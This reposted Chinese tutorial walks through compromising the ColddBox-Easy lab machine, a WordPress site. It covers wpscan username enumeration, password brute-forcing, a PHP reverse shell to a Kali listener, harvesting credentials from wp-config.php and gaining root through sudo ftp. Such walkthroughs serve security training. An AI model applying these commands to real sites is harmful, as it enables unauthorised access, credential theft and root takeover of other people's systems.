本文转载自助安社区(https://secself.com/),海量入门学习资料。
Wordpress 漏洞利用与后渗透。
突破口
渗透这类 CMS 网站时,不要上来就狂扫,它大部分目录都是固定的,开源去看对应版本,商业的找几篇文章。特别 注意的是一定先去找对应版本漏洞,不要自己手工测基本行不通的。
从收集到的信息里可以找到这个登入口,基于之前的 Wordpress 渗透经验登入口是可以爆破的,渗透过程要记住 每个可能的点都要去尝试,都尝试一遍后没结果继续深入尝试。
$ wpscan --url practical.secself.com --enumerate
...
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
...
使用 Wordpress 专用扫描探测工具 wpscan ,从结果里可以看出枚举出三个用户,但密码未知。工具怎么知道这几 个账户的存在,这是基础漏洞,在金融、银行等大公司这个漏洞是致命的。
ERROR: Invalid username. Lost your password?
ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?
上面两个提示可以判断出用户是否存在,这几乎是开发人员最容易忽视的问题,在注册、找回密码和登入等涉及用户的接口非常常⻅。
打点
开始爆破登入接口,还是使用 wpscan 工具,也可以用bp。
ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?
$ wpscan --url practical.secself.com --usernames c0ldd --passwords xato-net-10-million-
passwords-100000.txt
...
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / cowboys1 Time: 00:00:44 <
102915) 2.83% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: c0ldd, Password: 9876543210
...
最后爆破用户 c0ldd 成功,拿到密码登入到后台,直接反弹 shell 到 kali 上,脚本地址。
https://github.com/pentestmonkey/php-reverse-shell
最后爆破用户 c0ldd 成功,拿到密码登入到后台,直接反弹 shell 到 kali 上,脚本传送⻔。
拿到shell准备开始提权
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.104] from (UNKNOWN) [192.168.2.106] 51414
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
06:55:10 up 1:08, 0 users, load average: 0.02, 0.01, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...
提权
还是老一套,从 sudo 开始尝试,提示 no tty present
需要创建一个 tty 命令行。
使用 python 创建一个 tty 控制台,用于 sudo 提权
python3 -c 'import pty;pty.spawn("/bin/bash")'
使用 sudo -l 发现需要使用密码,在机器上收集一些密码信息。
$ sudo -l
sudo: no tty present and no askpass program specified
www-data@ColddBox-Easy:/$ sudo -l
sudo -l
[sudo] password for www-data:
找到 Wordpress 配置信息,看下数据库用户名和密码是否与系统账户重合
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', 'c0ldd');
/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...
成功切换到 c0ldd 用户,继续使用 sudo 提权
$ sudo -l
sudo -l
[sudo] password for c0ldd: cybersecurity
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in
El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp
ftp提权成功,拿到root权限
$ sudo ftp
sudo ftp
ftp> !/bin/bash
!/bin/bash
# id
id
uid=0(root) gid=0(root) grupos=0(root)